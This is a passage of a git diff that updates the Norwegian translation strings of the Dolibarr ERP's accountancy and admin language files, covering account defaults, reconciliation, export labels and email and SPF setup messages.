ikke definert i varearket) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Konto (fra kontoplanen) som skal brukes som standardkonto for varer kjøpt i samme land (brukes hvis det ikke er definert i varearket) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Konto (fra kontoplanen) som skal brukes som standardkonto for varer kjøpt fra EEC til et annet EEC-land (brukes hvis det ikke er definert i varearket) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Konto (fra kontoplanen) som skal brukes som standardkonto for varer som er kjøpt og importert fra andre land (brukes hvis det ikke er definert i produktarket) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Konto (fra kontoplanen) som skal brukes som standardkonto for de solgte produktene (brukes hvis det ikke er definert i varearket) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Konto (fra kontoplanen) som skal brukes som standardkonto for varer som selges fra EEC til et annet EEC-land (brukes hvis det ikke er definert i varearket) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Konto (fra kontoplanen) som skal brukes som standardkonto for varer som selges og eksporteres til et hvilket som helst annet land (brukes hvis det ikke er definert i produktarket) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Standard regnskapskonto for kjøpte tjenester (brukt hvis ikke definert på tjenestekortet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Regnskapskonto som standard for kjøpte tjenester i EU (brukt hvis ikke definert i tjenestearket) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Regnskapskonto som standard for kjøpte tjenester og importert ut av EU (brukt hvis ikke definert i tjenestearket) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Standard regnskapskonto for solgte tjenester (brukt hvis ikke definert på tjenestekortet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Regnskapskonto som standard for tjenestene som selges i EU (brukes hvis ikke definert i tjenestearket) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Regnskapskonto som standard for tjenestene som er solgt og eksportert ut av EU (brukt hvis ikke definert i tjenestearket) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Konto (fra kontoplanen) som skal brukes som standardkonto for tjenester kjøpt i samme land (brukes hvis det ikke er definert i tjenestearket) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Konto (fra kontoplanen) som skal brukes som standardkonto for tjenestene kjøpt fra EEC til et annet EEC-land (brukes hvis det ikke er definert i tjenestearket) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Konto (fra kontoplanen) som skal brukes som standardkonto for tjenestene kjøpt og importert fra andre land (brukes hvis det ikke er definert i tjenestearket) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Konto (fra kontoplanen) som skal brukes som standardkonto for de solgte tjenestene (brukes hvis det ikke er definert i servicearket) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Konto (fra kontoplanen) som skal brukes som standardkonto for tjenestene som selges fra EEC til et annet EEC-land (brukes hvis det ikke er definert i tjenestearket) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Konto (fra kontoplanen) som skal brukes som standardkonto for tjenestene som selges og eksporteres til et hvilket som helst annet land (brukes hvis det ikke er definert i tjenestearket) Doctype=Dokumenttype Docdate=Dato @@ -207,14 +213,15 @@ Docref=Referanse LabelAccount=Kontoetikett LabelOperation=Etikettoperasjon Sens=Retning -AccountingDirectionHelp=For an accounting account of a customer, use Credit to record a payment you have received
      For an accounting account of a supplier, use Debit to record a payment you made +AccountingDirectionHelp=For en regnskapskonto til en kunde, bruk Kreditt for å registrere en betaling du har mottatt
      For en regnskapskonto til en leverandør, bruk Debet for å registrere en betaling du har utført LetteringCode=Korrespondansekode Lettering=Korrespondanse Codejournal=Journal JournalLabel=Journaletikett NumPiece=Del nummer TransactionNumShort=Transaksjonsnummer -AccountingCategory=Egendefinert gruppe +AccountingCategory=Egendefinert gruppe med kontoer +AccountingCategories=Egendefinerte grupper av kontoer GroupByAccountAccounting=Gruppere etter hovedbokskonto GroupBySubAccountAccounting=Gruppere etter sub-hovedbokskonto AccountingAccountGroupsDesc=Her kan du definere noen grupper regnskapskonti. De vil bli brukt til personlige regnskapsrapporter. @@ -227,10 +234,11 @@ DeleteMvt=Slett linjer fra regnskapet DelMonth=Måned å slette DelYear=År som skal slettes DelJournal=Journal som skal slettes -ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvt=Dette vil slette alle linjer i regnskap for året/måneden og/eller for en bestemt journal (minst ett kriterium kreves). Du må bruke funksjonen '%s' på nytt for å få den slettede posten tilbake i hovedboken. ConfirmDeleteMvtPartial=Dette vil slette transaksjonen fra regnskapet (alle linjer knyttet til samme transaksjon vil bli slettet) FinanceJournal=Finansjournal ExpenseReportsJournal=Journal for utgiftsrapporter +InventoryJournal=Lagertellingsjournal DescFinanceJournal=Finansjournal med alle typer betalinger etter bankkonto DescJournalOnlyBindedVisible=Dette er en oversikt over poster som er bundet til en regnskapskonto og kan registreres i journaler og hovedbok. VATAccountNotDefined=MVA-konto er ikke definert @@ -250,9 +258,9 @@ DescThirdPartyReport=Liste over tredjeparts kunder og leverandører og deres reg ListAccounts=Liste over regnskapskontoer UnknownAccountForThirdparty=Ukjent tredjepartskonto. Vi vil bruke %s UnknownAccountForThirdpartyBlocking=Ukjent tredjepartskonto. Blokkeringsfeil -ThirdpartyAccountNotDefinedOrThirdPartyUnknown=Subledger account not defined or third party or user unknown. We will use %s +ThirdpartyAccountNotDefinedOrThirdPartyUnknown=Subledger kontro ikke definert eller tredjepart eller bruker ukjent. Vi vil bruke %s ThirdpartyAccountNotDefinedOrThirdPartyUnknownSubledgerIgnored=Tredjepart ukjent og regnskapsbok ikke definert på betalingen. Vi vil holde kontoen tom. -ThirdpartyAccountNotDefinedOrThirdPartyUnknownBlocking=Subledger account not defined or third party or user unknown. Blocking error. +ThirdpartyAccountNotDefinedOrThirdPartyUnknownBlocking=Subledgerkonto ikke definert eller tredjepart eller bruker ukjent. Blokkeringsfeil. UnknownAccountForThirdpartyAndWaitingAccountNotDefinedBlocking=Ukjent tredjepartskonto og ventekonto ikke definert. Blokkeringsfeil PaymentsNotLinkedToProduct=Betaling ikke knyttet til noen vare/tjeneste OpeningBalance=Inngående balanse @@ -262,19 +270,20 @@ ShowSubtotalByGroup=Vis subtotal etter nivå Pcgtype=Kontogruppe PcgtypeDesc=Kontogruppe brukes som forhåndsdefinerte 'filter' og 'gruppering' kriterier for noen regnskapsrapporter. For eksempel blir 'INNTEKT' eller 'UTGIFT' brukt som grupper for regnskapsføring av varer for å lage utgifts-/inntektsrapporten. +AccountingCategoriesDesc=Egendefinert gruppe med kontoer kan brukes til å gruppere regnskapskontoer i ett navn for å lette filterbruk eller bygging av tilpassede rapporter. Reconcilable=Kan avstemmes TotalVente=Total omsetning før skatt TotalMarge=Total salgsmargin -DescVentilCustomer=Liste over kunde-fakturalinjer (bundet eller ikke) til en vare-regnskapskonto -DescVentilMore=I de fleste tilfeller, hvis du bruker forhåndsdefinerte varer eller tjenester, og du setter kontonummeret på vare/tjeneste-kortet, vil programmet være i stand til å gjøre alle bindinger mellom fakturalinjer og regnskapskonto i din kontoplan, bare med et enkelt klikk på knappen "%s". Hvis kontoen ikke ble satt på vare-/tjenestekortet eller hvis du fortsatt har noen linjer ikke bundet til noen konto, må du foreta en manuell binding fra menyen "%s". -DescVentilDoneCustomer=Liste over kunde-fakturalinjer og deres vare-regnskapskontoer -DescVentilTodoCustomer=Bind fakturalinjer som ikke allerede er bundet, til en vare-regnskapskonto -ChangeAccount=Endre regnskapskonto for valgte vare-/tjenestelinjer til følgende konto: +DescVentilCustomer=Liste over kundefakturalinjer bundet (eller ikke) til en produktkonto fra kontoplan +DescVentilMore=I de fleste tilfeller, hvis du bruker forhåndsdefinerte produkter eller tjenester og du setter kontoen (fra kontoplan) på produkt-/tjenestekortet, vil applikasjonen kunne gjøre all bindingen mellom dine fakturalinjer og regnskapskontoen til dine kontoer, bare med ett klikk med knappen "%s" . Hvis konto ikke ble satt på vare-/tjenestekort eller hvis du fortsatt har noen linjer som ikke er bundet til en konto, må du gjøre en manuell binding fra menyen " %s ". +DescVentilDoneCustomer=Liste over linjene med fakturakunder og deres produktkonto fra kontoplan +DescVentilTodoCustomer=Bind fakturalinjer som ikke allerede er bundet til en varekonto fra kontoplan +ChangeAccount=Endre vare-/tjenestekontoen (fra kontoplanen) for de valgte linjene med følgende konto: Vide=- -DescVentilSupplier=Liste over leverandørfakturalinjer som er bundet eller ennå ikke bundet til en vareregnskapskonto (bare posten som ikke allerede er overført i regnskap, er synlig) +DescVentilSupplier=Liste over leverandørfakturalinjer som er bundet eller ennå ikke bundet til en produktkonto fra kontoplan (bare post som ikke allerede er overført i regnskap er synlig) DescVentilDoneSupplier=Liste over linjene med leverandørfakturaer og deres regnskapskonto DescVentilTodoExpenseReport=Bind utgiftsrapport-linjer til en gebyr-regnskapskonto DescVentilExpenseReport=Liste over utgiftsrapport-linjer bundet (eller ikke) til en gebyr-regnskapskonto @@ -282,24 +291,25 @@ DescVentilExpenseReportMore=Hvis du setter opp regnskapskonto med type utgiftsra DescVentilDoneExpenseReport=Liste over utgiftsrapport-linjer og tilhørende gebyr-regnskapskonto Closure=Årsavslutning -DescClosure=Consult here the number of movements by month not yet validated & locked -OverviewOfMovementsNotValidated=Overview of movements not validated and locked -AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Valider og lås posten... +DescClosure=Her ser du antall bevegelser per måned som ennå ikke er validert og låst +OverviewOfMovementsNotValidated=Oversikt over bevegelser som ikke er validert og låst +AllMovementsWereRecordedAsValidated=Alle bevegelser ble registrert som validerte og låste +NotAllMovementsCouldBeRecordedAsValidated=Ikke alle bevegelser kunne registreres som validerte og låste +ValidateMovements=Valider og lås bevegelser... DescValidateMovements=Enhver modifisering eller fjerning av skriving, bokstaver og sletting vil være forbudt. Alle påmeldinger for en oppgave må valideres, ellers er det ikke mulig å lukke ValidateHistory=Bind automatisk AutomaticBindingDone=Automatiske bindinger utført (%s) - Automatisk binding er ikke mulig for enkelte poster (%s) +DoManualBindingForFailedRecord=Du må gjøre en manuell kobling for %s rad(er) som ikke kobles automatisk. -ErrorAccountancyCodeIsAlreadyUse=Feil, du kan ikke slette denne regnskapskontoen fordi den er i bruk +ErrorAccountancyCodeIsAlreadyUse=Feil, du kan ikke fjerne eller deaktivere denne kontoplanen fordi den er i bruk MvtNotCorrectlyBalanced=Bevegelsen er ikke riktig balansert. Debet = %s & kreditt = %s Balancing=Balansering FicheVentilation=Binding-kort GeneralLedgerIsWritten=Transaksjoner blir skrevet inn i hovedboken GeneralLedgerSomeRecordWasNotRecorded=Noen av transaksjonene kunne ikke journalføres. Hvis det ikke er noen annen feilmelding, er dette trolig fordi de allerede var journalført. NoNewRecordSaved=Ingen flere poster å overføre -ListOfProductsWithoutAccountingAccount=Liste over varer som ikke bundet til en regnskapskonto +ListOfProductsWithoutAccountingAccount=Liste over varer som ikke er bundet til noen konto eller kontoplan ChangeBinding=Endre bindingen Accounted=Regnskapsført i hovedbok NotYetAccounted=Foreløpig ikke overført til regnskap @@ -325,6 +335,7 @@ AccountingJournalType4=Bank AccountingJournalType5=Utgiftsrapporter AccountingJournalType8=Varetelling AccountingJournalType9=Har nye +GenerationOfAccountingEntries=Generering av regnskapsposter ErrorAccountingJournalIsAlreadyUse=Denne journalen er allerede i bruk AccountingAccountForSalesTaxAreDefinedInto=Merk: Regnskapskonto for MVA er definert i menyen %s - %s NumberOfAccountancyEntries=Antall oppføringer @@ -332,10 +343,14 @@ NumberOfAccountancyMovements=Antall bevegelser ACCOUNTING_DISABLE_BINDING_ON_SALES=Deaktiver binding og overføring til regnskap ved salg (kundefakturaer blir ikke tatt med i regnskapet) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Deaktiver binding og overføring til regnskap ved kjøp (leverandørfakturaer blir ikke tatt med i regnskapet) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Deaktiver binding og overføring til regnskap på utgiftsrapporter (utgiftsrapporter blir ikke tatt med i regnskapet) +ACCOUNTING_ENABLE_LETTERING=Aktiver bokstavfunksjonen i regnskapet +ACCOUNTING_ENABLE_AUTOLETTERING=Aktiver automatisk skriving ved overføring til regnskap ## Export -NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotExportLettering=Ikke eksporter bokstaver når du genererer filen +NotifiedExportDate=Flagg eksporterte linjer som eksportert (for å endre en linje, må du slette hele transaksjonen og overføre den til regnskapet på nytt) +NotifiedValidationDate=Valider og lås de eksporterte oppføringene (samme effekt som "%s"-funksjonen, modifikasjon og sletting av linjene vil DEFINITIVT ikke være mulig) +NotifiedExportFull=Eksportere dokumenter? DateValidationAndLock=Datovalidering og lås ConfirmExportFile=Bekreftelse på generering av regnskapseksportfilen ? ExportDraftJournal=Eksporter utkastjournal @@ -392,7 +407,7 @@ SaleLocal=Lokalt salg SaleExport=Eksportsalg SaleEEC=Salg i EU SaleEECWithVAT=Salg i EU med mva som ikke er null, så vi antar at dette IKKE er et intra-EU salg og den foreslåtte kontoen er standard produktkonto. -SaleEECWithoutVATNumber=Salg i EU uten mva, men mva-ID for tredjepart er ikke definert. Vi faller tilbake på produktkontoen for standard salg. Du kan fikse mva-ID for tredjepart eller produktkonto om nødvendig. +SaleEECWithoutVATNumber=Salg i EEC uten MVA, men MVA-ID-en til tredjepart er ikke definert. Vi faller tilbake på kontoen for standardsalg. Du kan fikse MVA-ID-en til tredjeparten, eller endre produktkontoen som foreslås for binding om nødvendig. ForbiddenTransactionAlreadyExported=Ikke tillatt: Transaksjonen er validert og/eller eksportert. ForbiddenTransactionAlreadyValidated=Ikke tillatt: Transaksjonen er validert. ## Dictionary @@ -401,7 +416,11 @@ Calculated=Kalkulert Formula=Formel ## Reconcile +LetteringAuto=Avstem automatisk +LetteringManual=Avstem manuelt Unlettering=Reverser avstemming +UnletteringAuto=Tilbakestill atomatisk avsteming +UnletteringManual=Tilbakestill manuell avsteming AccountancyNoLetteringModified=Ingen avstemming endret AccountancyOneLetteringModifiedSuccessfully=Én avstemming ble endret AccountancyLetteringModifiedSuccessfully=%s avstemming ble endret @@ -410,10 +429,11 @@ AccountancyOneUnletteringModifiedSuccessfully=Én reversert avstemming ble endre AccountancyUnletteringModifiedSuccessfully=%s reversertavstemming ble endret ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bekreftelse på bulk tilbakestilling av automatisk avstemming +ConfirmMassUnletteringManual=Bekreftelse på bulk tilbakestilling av manuell avstemming +ConfirmMassUnletteringQuestion=Er du sikker på at du vil tilbakestille avstemming av %s valgte post(er)? ConfirmMassDeleteBookkeepingWriting=Bekreft massesletting -ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? +ConfirmMassDeleteBookkeepingWritingQuestion=Dette vil slette transaksjonen fra regnskapet (alle linjer knyttet til samme transaksjon vil bli slettet) Er du sikker på at du vil slette %s valgte post(er)? ## Error SomeMandatoryStepsOfSetupWereNotDone=Noen obligatoriske trinn for oppsett ble ikke gjort, vennligst fullfør disse @@ -426,11 +446,12 @@ NoJournalDefined=Ingen journal definert Binded=Bundne linjer ToBind=Linjer som skal bindes UseMenuToSetBindindManualy=Linjer som ennå ikke er bundet, bruk menyen %s for å gjøre bindingen manuelt -SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices -AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Beklager, denne modulen er ikke kompatibel med den eksperimentelle funksjonen til situasjonsfakturaer +AccountancyErrorMismatchLetterCode=Uoverensstemmelse i avstemmingskode AccountancyErrorMismatchBalanceAmount=Saldoen (%s) er ikke lik 0 AccountancyErrorLetteringBookkeeping=Det har oppstått feil angående transaksjonene: %s -ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorAccountNumberAlreadyExists=Kontonummeret %s eksisterer allerede +ErrorArchiveAddFile=Kan ikke legge "%s"-filen i arkivet ## Import ImportAccountingEntries=Regnskapsposter @@ -441,22 +462,23 @@ FECFormatEntryNum=Delenummer (EcritureNum) FECFormatEntryDate=Del dato (EcritureDate) FECFormatGeneralAccountNumber=Generelt kontonummer (CompteNum) FECFormatGeneralAccountLabel=Generell kontoetikett (CompteLib) -FECFormatSubledgerAccountNumber=Subledger account number (CompAuxNum) -FECFormatSubledgerAccountLabel=Subledger account number (CompAuxLib) -FECFormatPieceRef=Piece ref (PieceRef) -FECFormatPieceDate=Piece date creation (PieceDate) -FECFormatLabelOperation=Label operation (EcritureLib) +FECFormatSubledgerAccountNumber=Underreskontronummer (CompAuxNum) +FECFormatSubledgerAccountLabel=Subledger kontonummer (CompAuxLib) +FECFormatPieceRef=Stykkeref (PieceRef) +FECFormatPieceDate=Del opprettelsedato (PieceDate) +FECFormatLabelOperation=Etikettoperasjon (EcritureLib) FECFormatDebit=Debet (debet) FECFormatCredit=Kreditt (kreditt) -FECFormatReconcilableCode=Reconcilable code (EcritureLet) -FECFormatReconcilableDate=Reconcilable date (DateLet) -FECFormatValidateDate=Piece date validated (ValidDate) -FECFormatMulticurrencyAmount=Multicurrency amount (Montantdevise) -FECFormatMulticurrencyCode=Multicurrency code (Idevise) +FECFormatReconcilableCode=Avstembar kode (EcritureLet) +FECFormatReconcilableDate=Avstembar dato (DateLet) +FECFormatValidateDate=Stykkedato validert (ValidDate) +FECFormatMulticurrencyAmount=Flervalutabeløp (Montantdevise) +FECFormatMulticurrencyCode=Flervalutakode (Idevise) DateExport=Dato eksport WarningReportNotReliable=Advarsel, denne rapporten er ikke basert på hovedboken, så den inneholder ikke transaksjoner endret manuelt i hovedboken. Hvis journaliseringen din er oppdatert, er bokføringsvisningen mer nøyaktig. ExpenseReportJournal=Utgiftsrapport-journal -InventoryJournal=Inventar-journal +DocsAlreadyExportedAreExcluded=Dokumenter som allerede er eksportert, er ekskludert +ClickToHideAlreadyExportedLines=Klikk for å skjule allerede eksporterte linjer NAccounts=%s kontoer diff --git a/htdocs/langs/nb_NO/admin.lang b/htdocs/langs/nb_NO/admin.lang index fbda984841c..26987719e71 100644 --- a/htdocs/langs/nb_NO/admin.lang +++ b/htdocs/langs/nb_NO/admin.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - admin -BoldRefAndPeriodOnPDF=Print reference and period of product item in PDF -BoldLabelOnPDF=Print label of product item in Bold in PDF +BoldRefAndPeriodOnPDF=Skriv ut referanse og periode for vare i PDF +BoldLabelOnPDF=Skriv ut etikett på vareelement i fet skrift i PDF Foundation=Organisasjon Version=Versjon Publisher=Utgiver @@ -51,8 +51,6 @@ ClientSortingCharset=Klientsammenstilling WarningModuleNotActive=Modulen %s må være slått på WarningOnlyPermissionOfActivatedModules=Bare tillateleser for aktiverte moduler vises her. Du kan slå på andre moduler ved å gå inn på Oppsett - Moduler. DolibarrSetup=Dolibarr oppsett -InternalUser=Intern bruker -ExternalUser=Ekstern bruker InternalUsers=Interne brukere ExternalUsers=Eksterne brukere UserInterface=Brukergrensesnitt @@ -109,7 +107,7 @@ NextValueForReplacements=Neste verdi (erstatninger) MustBeLowerThanPHPLimit=Merk: PHP-konfigurasjonen din begrenser for øyeblikket maksimalt filstørrelse for opplasting til %s %s, uavhengig av verdien til denne parameteren NoMaxSizeByPHPLimit=Merk: Det er ikke satt noen begrensninger i din PHP-konfigurasjon på denne serveren MaxSizeForUploadedFiles=Maksimal filstørrelse for opplasting av filer (0 for å ikke tillate opplasting) -UseCaptchaCode=Use graphical code (CAPTCHA) on login page and some public pages +UseCaptchaCode=Bruk grafisk kode (CAPTCHA) på påloggingssiden og noen offentlige sider AntiVirusCommand=Full sti til antivirus kommandoen AntiVirusCommandExample=Eksempel for ClamAv Daemon (krever clamav-daemon): /usr/bin/clamdscan
      Eksempel på ClamWin (veldig veldig treg): c:\\Progra~1\\ClamWin\\bin\\clamscan.exe AntiVirusParam= Flere parametre på kommandolinjen @@ -147,6 +145,7 @@ Box=Widget Boxes=Widgeter MaxNbOfLinesForBoxes=Maks. antall linjer for widgeter AllWidgetsWereEnabled=Alle tilgjengelige widgeter er aktivert +WidgetAvailable=Widget tilgjengelig PositionByDefault=Gjeldende rekkefølge Position=Posisjon MenusDesc=Menyeditor for å velge innhold i den horisontale og vertikale menyen. @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS-vert (standardverdi i php.ini: %s) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS-port (Ikke definert i PHP på Unix-lignende systemer) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS Host (Ikke definert i PHP på Unix-lignende systemer) MAIN_MAIL_EMAIL_FROM=Avsender-epost for automatiske eposter (standardverdi i php.ini: %s) +EMailHelpMsgSPFDKIM=For å forhindre at Dolibarr-e-poster klassifiseres som spam, sørg for at serveren er autorisert til å sende e-post fra denne adressen ved SPF- og DKIM-konfigurasjon MAIN_MAIL_ERRORS_TO=E-post brukes til å returnere epostmeldinger (felt 'Feil-til' i epostmeldinger sendt) MAIN_MAIL_AUTOCOPY_TO= Kopier alle sendte e-post til MAIN_DISABLE_ALL_MAILS=Deaktiver all epost sending (for testformål eller demoer) @@ -375,7 +375,7 @@ DoTestSendHTML=Testsending HTML ErrorCantUseRazIfNoYearInMask=Feil! Kan ikke bruke opsjonen @ for å nullstille telleren hvert år, hvis ikke {åå} eller {åååå} er i masken. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Feil: Kan ikke bruke valget @ hvis ikke sekvensen {åå}{mm} eller {åååå}{mm} er i malen. UMask=UMaskparameter for nye filer på Unix/Linux/BSD filsystemer. -UMaskExplanation=Denne instillingen lar deg angi filtillatelser som settes på filer opprettet på Dolibarrseveren (for eksempel ved opplastning).
      Dette må være en oktal verdi (for eksempel 0666 betyr lese og skrive for alle).
      Denne innstillingen brukes ikke på Windowsbaserte servere. +UMaskExplanation=Denne parameteren lar deg definere tillatelser satt som standard på filer opprettet av Dolibarr på serveren (for eksempel under opplasting).
      Det må være den oktale verdien (for eksempel betyr 0666 lesing og skriving for alle.). Anbefalt verdi er 0600 eller 0660
      Denne parameteren er ubrukelig på en Windows-server. SeeWikiForAllTeam=Ta en titt på Wiki-siden for en liste over bidragsytere og deres organisasjon UseACacheDelay= Forsinkelse for cache eksport respons i sekunder (0 eller tom for ingen cache) DisableLinkToHelpCenter=Skjul lenken " Trenger hjelp eller støtte " på påloggingssiden @@ -439,8 +439,10 @@ Unique=Unik Boolean=Boolsk (en avkrysningsboks) ExtrafieldPhone = Telefon ExtrafieldPrice = Pris +ExtrafieldPriceWithCurrency=Pris med valuta ExtrafieldMail = E-post ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Velg liste ExtrafieldSelectList = Velg fra tabell ExtrafieldSeparator=Separator (ikke et felt) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Sjekkbokser ExtrafieldCheckBoxFromList=Avkrysningsbokser fra tabell ExtrafieldLink=Lenke til et objekt ComputedFormula=Beregnet felt -ComputedFormulaDesc=Du kan legge inn en formel her ved hjelp av andre egenskaper for objekt eller hvilken som helst PHP-koding for å få en dynamisk beregnet verdi. Du kan bruke alle PHP-kompatible formler, inkludert "?" tilstandsoperatør, og følgende globale objekt: $db, $conf, $langs, $mysoc, $user, $object .
      ADVARSEL : Bare noen egenskaper for $-objekt kan være tilgjengelige. Hvis du trenger egenskaper som ikke er lastet, er det bare å hente objektet i formelen som i det andre eksemplet.
      Ved å bruke et beregnet felt betyr det at du ikke kan skrive inn noen verdi fra grensesnittet. Og, hvis det er en syntaksfeil, kan det hende formelen ikke returnerer noe.

      Eksempel på formel:
      $object-> id < 10 ? round($object->id / 2, 2): ($object-> id + 2 * $user-> id) * (int) substr($mysoc-> zip, 1, 2 )

      Eksempel på å laste inn objekt
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Et annet eksempel på formel for å tvinge objektets belastning og dets overordnede objekt:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Overordnet prosjekt ikke funnet' +ComputedFormulaDesc=Her kan du angi en formel ved å bruke andre egenskaper til objektet eller en hvilken som helst PHP-koding for å få en dynamisk beregnet verdi. Du kan bruke alle PHP-kompatible formler inkludert "?" betingelsesoperator og følgende globale objekt: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: Hvis du trenger egenskapene til et objekt som ikke er lastet, kan du bare hente objektet inn i formelen din som i det andre eksempelet.
      Å bruke et beregnet felt betyr at du ikke kan angi noen verdi fra grensesnittet. Dessuten, hvis det er en syntaksfeil, kan det hende at formelen ikke returnerer noe.

      Eksempel på formel:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Eksempel for å laste inn objektet på nytt
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Annet eksempel på formel for å tvinge inn lasting av objektet og dets overordnede objekt:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Lagre beregnede felt ComputedpersistentDesc=Beregnede ekstrafelt vil bli lagret i databasen, men verdien blir bare omregnet når objektet til dette feltet endres. Hvis det beregnede feltet avhenger av andre objekter eller globale data, kan denne verdien være feil! ExtrafieldParamHelpPassword=Hvis dette feltet er tomt, vil denne verdien bli lagret uten kryptering (feltet må bare skjules med stjerne på skjermen).
      Angi 'auto' for å bruke standard krypteringsregel for å lagre passordet i databasen (da vil verdiavlesning være bare hash, uten noen måte å hente opprinnelig verdi på) @@ -477,7 +479,7 @@ InstalledInto=Installert i mappen %s BarcodeInitForThirdparties=Masseinitiering av strekkoder for tredjeparter BarcodeInitForProductsOrServices=Masseinitiering eller sletting av strekkoder for varer og tjenester CurrentlyNWithoutBarCode=For øyeblikket har du %s poster på %s %s uten strekkode. -InitEmptyBarCode=Init value for the %s empty barcodes +InitEmptyBarCode=Init-verdi for de tomme strekkodene %s EraseAllCurrentBarCode=Slett alle gjeldende strekkode-verdier ConfirmEraseAllCurrentBarCode=Er du sikker på at du vil slette alle nåværende strekkodeverdier? AllBarcodeReset=Alle strekkode-verdier er blitt slettet @@ -501,10 +503,11 @@ WarningPHPMail=ADVARSEL: Oppsettet for å sende e-post fra applikasjonen bruker WarningPHPMailA=- Å bruke serveren til epostleverandøren øker påliteligheten til eposten din, slik at den øker leveringsevnen uten å bli markert som spam WarningPHPMailB=- Noen e-posttjenesteleverandører (som Yahoo) tillater ikke at du sender en e-post fra en annen server enn deres egen server. Det nåværende oppsettet ditt bruker serveren til applikasjonen til å sende e-post og ikke serveren til e-postleverandøren din, så noen mottakere (den som er kompatibel med den begrensende DMARC-protokollen) vil spørre e-postleverandøren din om de kan godta e-posten din og noen e-postleverandører (som Yahoo) kan svare "nei" fordi serveren ikke er deres. Noen av de sendte e-postene dine blir kanskje ikke akseptert for levering (vær også oppmerksom på e-postleverandørens sendekvote). WarningPHPMailC=- Ved å bruke SMTP-serveren til din egen e-posttjenesteleverandør for å sende e-post vil alle e-postmeldinger som sendes fra applikasjonen bli lagret i "Sendt"-katalogen i postkassen din. -WarningPHPMailD=Det anbefales derfor også å endre sendingsmetoden for e-post til verdien "SMTP". Hvis du virkelig vil beholde standard "PHP"-metoden for å sende e-poster, bare ignorer denne advarselen, eller fjern den ved å sette MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP konstant til 1 i Hjem - Oppsett - Annet. +WarningPHPMailD=Det anbefales derfor å endre sendemetoden for e-post til verdien "SMTP". +WarningPHPMailDbis=Hvis du virkelig ønsker å beholde standard "PHP"-metoden for å sende e-poster, bare ignorer denne advarselen, eller fjern den ved å %sklikke her%s. WarningPHPMail2=Hvis din epost-SMTP-leverandør må begrense epostklienten til noen IP-adresser (svært sjelden), er dette IP-adressen til epost-brukeragenten (MUA) for ERP CRM-programmet: %s . WarningPHPMailSPF=Hvis domenenavnet i avsenderens e-postadresse er beskyttet av en SPF-post (spør domenenavnsregistratoren), må du legge til følgende IP-er i SPF-posten til DNS-en til domenet ditt: %s . -ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s +ActualMailSPFRecordFound=Faktisk SPF-post funnet (for e-post %s): %s ClickToShowDescription=Klikk for å vise beskrivelse DependsOn=Denne modulen trenger modulen(ene) 